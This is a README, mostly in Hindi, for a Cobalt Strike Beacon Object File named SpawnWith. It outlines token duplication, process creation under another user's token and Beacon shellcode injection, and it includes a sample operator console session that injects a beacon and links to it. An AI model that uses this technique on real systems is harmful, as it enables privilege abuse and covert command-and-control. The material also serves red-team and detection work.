SpawnWith

SpawnWith

एक प्रायोगिक Beacon Object File (BOF) जो spawnas और inject कमांड्स का विकल्प प्रदान करता है। यह एक नया कमांड spawn_with [pid] [listener] उपलब्ध कराता है, जो निम्नलिखित कार्य करता है:

1. लक्ष्य प्रक्रिया का हैंडल प्राप्त करें।
2. प्रक्रिया के प्राथमिक टोकन का हैंडल प्राप्त करें।
3. प्राथमिक टोकन को एक impersonation token में डुप्लिकेट करें।
4. Beacon spawnto मान प्राप्त करें।
5. CreateProcessWithTokenW का उपयोग करके डुप्लिकेट किए गए टोकन के साथ एक नई प्रक्रिया स्पॉन करने का प्रयास करें।
   • यदि यह प्रयास विफल हो जाता है, तो CreateProcessAsUserW आज़माएँ।
6. स्पॉन की गई प्रक्रिया में Beacon shellcode इंजेक्ट करें।
   • P2P के मामले में Beacon से लिंक करें।

उदाहरण

beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)

beacon> ps
22656 21972 wordpad.exe   x64   1   DESKTOP-1U6AHIU\test_user

beacon> spawnto x64 %windir%\sysnative\notepad.exe

beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:

Spawned PID 45668 and injected 297472 bytes

[+] established link to child beacon: 192.168.0.195